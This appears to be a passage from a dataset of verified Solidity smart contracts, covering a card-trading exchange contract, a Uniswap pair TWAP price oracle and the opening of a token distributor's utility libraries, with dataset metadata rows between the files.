_createSellOrderForProtoAndQuality(ids[i], prices[i], protos[i], qualities[i], seller);
}
}
function _createSellOrderForProtoAndQuality(uint256 id, uint256 price, uint256 proto, uint256 quality, address seller) private {
_createSellOrder(id,
price,
0,
proto,
quality,
seller,
false);
}
function _createSellOrder(uint256 id, uint256 price, uint256 tokenId, uint256 proto, uint256 quality, address seller, bool tokenIsSet) private {
address payable payableSeller = address(uint160(seller));
require(price > 0, "Sell order price needs to be bigger than 0.");
SellOrder storage sellOrder = sellOrdersById[seller][id];
require(sellOrder.id == 0, "Sell order with this ID does already exist!");
require(godsUnchainedCards.isApprovedForAll(payableSeller, address(this)), "Operator approval missing!");
sellOrder.id = id;
sellOrder.price = price;
sellOrder.proto = uint16(proto);
sellOrder.quality = uint8(quality);
sellOrder.seller = payableSeller;
if(tokenIsSet) { _updateSellOrderTokenId(sellOrder, tokenId); }
emit SellOrderCreated(sellOrder.id);
}
function _updateSellOrderTokenId(SellOrder storage sellOrder, uint256 tokenId) private {
if(sellOrder.tokenIsSet ||
sellOrder.canceled ||
sellOrder.settled) { return; }
require(godsUnchainedCards.ownerOf(tokenId) == sellOrder.seller, "Seller is not owner of this token!");
require(sellOrder.proto == godsUnchainedCards.cardProtos(tokenId) &&
sellOrder.quality == godsUnchainedCards.cardQualities(tokenId)
, "Token does not correspond to sell order proto/quality!");
sellOrder.tokenIsSet = true;
sellOrder.tokenId = tokenId;
}
function createSellOrdersForTokenIdsAndSettle(uint256[] calldata sellOrderIds, address[] calldata sellOrderAddresses, uint256[] calldata sellOrderPrices, uint256[] calldata sellOrderTokenIds, uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses) onlyUnpaused external {
_createSellOrdersForTokenIds(sellOrderIds, sellOrderPrices, sellOrderTokenIds, msg.sender);
_settle(buyOrderIds, buyOrderAddresses, sellOrderIds, sellOrderAddresses);
}
function createOffChainSignedSellOrdersForTokenIds(uint256[] calldata sellOrderIds, uint256[] calldata sellOrderTokenIds, uint256[] calldata sellOrderPrices, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external {
_createOffChainSignedSellOrdersForTokenIds(sellOrderIds, sellOrderTokenIds, sellOrderPrices, v, r, s);
}
function _createOffChainSignedSellOrdersForTokenIds(uint256[] memory sellOrderIds, uint256[] memory sellOrderTokenIds, uint256[] memory sellOrderPrices, uint8 v, bytes32 r, bytes32 s) private {
uint256 length = sellOrderIds.length;
address seller = _recoverForTokenIds(sellOrderIds, sellOrderTokenIds, sellOrderPrices, v, r, s);
for (uint256 i = 0;
i < length;
i++) {
if(sellOrdersById[seller][sellOrderIds[i]].id == 0) {
_createSellOrderForTokenId(sellOrderIds[i],
sellOrderPrices[i],
sellOrderTokenIds[i],
seller);
}
}
}
function createSellOrdersForProtosAndQualitiesAndSettle(uint256[] calldata sellOrderData, uint256[] calldata tokenIds, uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses) onlyUnpaused external {
uint256[] memory sellOrderIds = _unpackOrderData(sellOrderData, 0);
_createSellOrdersForProtosAndQualities(sellOrderIds,
_unpackOrderData(sellOrderData, 3),
_unpackOrderData(sellOrderData, 1),
_unpackOrderData(sellOrderData, 2),
msg.sender);
uint256 length = buyOrderIds.length;
for (uint256 i = 0; i < length; i++) {
_updateSellOrderTokenId(sellOrdersById[msg.sender][sellOrderIds[i]], tokenIds[i]);
_settle(buyOrdersById[buyOrderAddresses[i]][buyOrderIds[i]], sellOrdersById[msg.sender][sellOrderIds[i]]);
}
}
function createOffChainSignedSellOrdersForProtosAndQualities(uint256[] calldata sellOrderIds, uint256[] calldata sellOrderProtos, uint256[] calldata sellOrderQualities, uint256[] calldata sellOrderPrices, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external {
_createOffChainSignedSellOrdersForProtosAndQualities(sellOrderIds, sellOrderProtos, sellOrderQualities, sellOrderPrices, v, r, s);
}
function _createOffChainSignedSellOrdersForProtosAndQualities(uint256[] memory sellOrderIds, uint256[] memory sellOrderProtos, uint256[] memory sellOrderQualities, uint256[] memory sellOrderPrices, uint8 v, bytes32 r, bytes32 s) private {
uint256 length = sellOrderIds.length;
address seller = _recoverForProtosAndQualities(sellOrderIds, sellOrderProtos, sellOrderQualities, sellOrderPrices, v, r, s);
for (uint256 i = 0;
i < length;
i++) {
if(sellOrdersById[seller][sellOrderIds[i]].id == 0) {
_createSellOrderForProtoAndQuality(sellOrderIds[i],
sellOrderPrices[i],
sellOrderProtos[i],
sellOrderQualities[i],
seller);
}
}
}
function recoverSellOrderForTokenIds(uint256[] calldata ids, uint256[] calldata tokenIds, uint256[] calldata prices, uint8 v, bytes32 r, bytes32 s) external view returns (address) {
return _recoverForTokenIds(ids, tokenIds, prices, v, r, s);
}
function _recoverForTokenIds(uint256[] memory ids, uint256[] memory tokenIds, uint256[] memory prices, uint8 v, bytes32 r, bytes32 s) private view returns (address) {
return ecrecover(hashSellOrdersForTokenIds(ids, tokenIds, prices), v, r, s);
}
function hashSellOrdersForTokenIds(uint256[] memory ids, uint256[] memory tokenIds, uint256[] memory prices) private view returns (bytes32){
return keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
keccak256(abi.encode(sellOrdersForTokenIdsTypeHash,
keccak256(abi.encodePacked(ids)),
keccak256(abi.encodePacked(tokenIds)),
keccak256(abi.encodePacked(prices))))));
}
function recoverSellOrderForProtosAndQualities(uint256[] calldata ids, uint256[] calldata protos, uint256[] calldata qualities, uint256[] calldata prices, uint8 v, bytes32 r, bytes32 s) external view returns (address) {
return _recoverForProtosAndQualities(ids, protos, qualities, prices, v, r, s);
}
function _recoverForProtosAndQualities(uint256[] memory ids, uint256[] memory protos, uint256[] memory qualities, uint256[] memory prices, uint8 v, bytes32 r, bytes32 s) private view returns (address) {
return ecrecover(hashSellOrdersForProtosAndQualitiesIds(ids, protos, qualities, prices), v, r, s);
}
function hashSellOrdersForProtosAndQualitiesIds(uint256[] memory ids, uint256[] memory protos, uint256[] memory qualities, uint256[] memory prices) private view returns (bytes32){
return keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
keccak256(abi.encode(sellOrdersForProtosAndQualitiesTypeHash,
keccak256(abi.encodePacked(ids)),
keccak256(abi.encodePacked(protos)),
keccak256(abi.encodePacked(qualities)),
keccak256(abi.encodePacked(prices))))));
}
function cancelSellOrders(uint256[] calldata ids) onlyUnpaused external {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
SellOrder storage sellOrder = sellOrdersById[msg.sender][ids[i]];
if(sellOrder.id == 0) {
sellOrder.id = ids[i];
}
require(sellOrder.canceled == false, "Order has already been canceled!");
require(sellOrder.settled == false, "Order has already been settled!");
sellOrder.canceled = true;
emit SellOrderCanceled(sellOrder.id);
}
}
function settle(uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses, uint256[] calldata sellOrderIds, address[] calldata sellOrderAddresses) onlyUnpaused external {
_settle(buyOrderIds, buyOrderAddresses, sellOrderIds, sellOrderAddresses);
}
function settleWithToken(uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses, uint256[] calldata sellOrderIds, address[] calldata sellOrderAddresses, uint256[] calldata tokenIds) onlyUnpaused external {
uint256 length = tokenIds.length;
for (uint256 i = 0; i < length; i++) {
_updateSellOrderTokenId(sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]],
tokenIds[i]);
_settle(buyOrdersById[buyOrderAddresses[i]][buyOrderIds[i]], sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]]);
}
}
function _settle(uint256[] memory buyOrderIds, address[] memory buyOrderAddresses, uint256[] memory sellOrderIds, address[] memory sellOrderAddresses) private {
uint256 length = buyOrderIds.length;
for (uint256 i = 0; i < length; i++) {
_settle(buyOrdersById[buyOrderAddresses[i]][buyOrderIds[i]],
sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]]);
}
}
function _settle(BuyOrder storage buyOrder, SellOrder storage sellOrder) private {
if(sellOrder.settled || sellOrder.canceled ||
buyOrder.settled || buyOrder.canceled) { return; }
uint256 proto = godsUnchainedCards.cardProtos(sellOrder.tokenId);
uint256 quality = godsUnchainedCards.cardQualities(sellOrder.tokenId);
require(buyOrder.price >= sellOrder.price, "Sell order exceeds what the buyer is willing to pay!");
require(buyOrder.proto == proto && sellOrder.proto == proto, "Order protos are not matching!");
require(buyOrder.quality == quality && sellOrder.quality == quality, "Order qualities are not matching!");
sellOrder.settled = buyOrder.settled = true;
lockedInFunds = lockedInFunds.sub(buyOrder.price.add(buyOrder.fee));
godsUnchainedCards.transferFrom(sellOrder.seller, buyOrder.buyer, sellOrder.tokenId);
sellOrder.seller.transfer(sellOrder.price);
emit Settled(buyOrder.id, sellOrder.id);
}
function setPausedTo(bool value) external onlyOwner {
paused = value;
}
function setExchangeFee(uint256 value) external onlyOwner {
exchangeFee = value;
}
function withdraw(address payable beneficiary, uint256 amount) external onlyOwner {
require(lockedInFunds.add(amount) <= address(this).balance, "Not enough funds. Funds are partially locked from unsettled buy orders.");
beneficiary.transfer(amount);
}
function approveNextOwner(address payable _nextOwner) external onlyOwner {
require(_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require(msg.sender == nextOwner, "The new owner has to accept the previously set new owner.");
owner = nextOwner;
}
function kill() external onlyOwner {
require(lockedInFunds == 0, "All orders need to be settled or refundeded before self-destruct.");
selfdestruct(owner);
}
function () external payable {}
}
| 164,273 | 11,196 |
c263939b7ede4dcfcc7259d6bc00bf73167789e3a180ddce10736c9c64bff761
| 29,172 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/49/49f2FCbAE55467ec17A20EcAde90173374921f5a_UniswapPairOracle.sol
| 5,122 | 18,986 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
contract UniswapPairOracle is Ownable {
using FixedPoint for *;
uint256 public PERIOD = 3600; // 60-minute TWAP (Time-Weighted Average Price)
uint256 private constant MAXIMUM_PERIOD = 3600 * 48; // 48 hours
uint256 private constant MINIMUM_PERIOD = 60 * 10; // 10 minutes
uint256 private constant LENIENCY = 3600 * 12; // 12 hours
IUniswapV2Pair public immutable pair;
address public immutable token0;
address public immutable token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(address pairAddress) {
IUniswapV2Pair _pair = IUniswapV2Pair(pairAddress);
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // Fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // Fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "PairOracle: NO_RESERVES"); // Ensure that there's liquidity in the pair
}
function setPeriod(uint256 _period) external onlyOwner {
require(_period <= MAXIMUM_PERIOD, "PairOracle::setPeriod: > MAXIMUM_PERIOD");
require(_period >= MINIMUM_PERIOD, "PairOracle::setPeriod: < MINIMUM_PERIOD");
PERIOD = _period;
emit PeriodUpdated(_period);
}
function update() external {
(uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp) = currentCumulativePrices(address(pair));
unchecked {
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, "PairOracle: PERIOD_NOT_ELAPSED");
// Overflow is desired, casting never truncates
// Cumulative price is in (uq112x112 price * seconds) units so we
// simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
}
}
// Note this will always return 0 before update has been called successfully for the first time.
function twap(address token, uint256 pricePrecision) external view returns (uint256 amountOut) {
uint32 timeElapsed = currentBlockTimestamp() - blockTimestampLast;
require(timeElapsed <= PERIOD + LENIENCY, "PairOracle::twap: Oracle was staled");
uint8 _token0MissingDecimals = 18 - (ERC20(token0).decimals());
uint8 _token1MissingDecimals = 18 - (ERC20(token1).decimals());
if (token == token0) {
amountOut =
price0Average.mul(pricePrecision).decode144() *
(10**_token1MissingDecimals);
} else {
require(token == token1, "PairOracle: INVALID_TOKEN");
amountOut =
price1Average.mul(pricePrecision).decode144() *
(10**_token0MissingDecimals);
}
}
function spot(address token, uint256 pricePrecision) external view returns (uint256 amountOut) {
IUniswapV2Pair uniswapPair = IUniswapV2Pair(pair);
address _token0 = uniswapPair.token0();
address _token1 = uniswapPair.token1();
require(_token0 == token || _token1 == token, "Invalid pair");
(uint256 _reserve0, uint256 _reserve1,) = uniswapPair.getReserves();
require(_reserve0 > 0 && _reserve1 > 0, "No reserves");
uint8 _token0MissingDecimals = 18 - (ERC20(_token0).decimals());
uint8 _token1MissingDecimals = 18 - (ERC20(_token1).decimals());
uint256 _price = 0;
if (token == _token0) {
_price = (_reserve1 * (10**_token1MissingDecimals) * pricePrecision) / _reserve0;
} else {
_price = (_reserve0 * (10**_token0MissingDecimals) * pricePrecision) / _reserve1;
}
return _price;
}
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address _pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
IUniswapV2Pair uniswapPair = IUniswapV2Pair(_pair);
price0Cumulative = uniswapPair.price0CumulativeLast();
price1Cumulative = uniswapPair.price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 _blockTimestampLast) = uniswapPair
.getReserves();
unchecked {
if (_blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - _blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative +=
uint256(FixedPoint.fraction(reserve1, reserve0)._x) *
timeElapsed;
// counterfactual
price1Cumulative +=
uint256(FixedPoint.fraction(reserve0, reserve1)._x) *
timeElapsed;
}
}
}
// EVENTS
event PeriodUpdated(uint256 _period);
}
| 80,753 | 11,197 |
319a06475e10e3ace403b83bd3a841b3d0ecfe9d438b09ba65ba71165c391890
| 17,599 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f4/F4b73db4dECA4E0a7baFb05ae0133060985eFC06_Distributor.sol
| 3,881 | 15,340 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
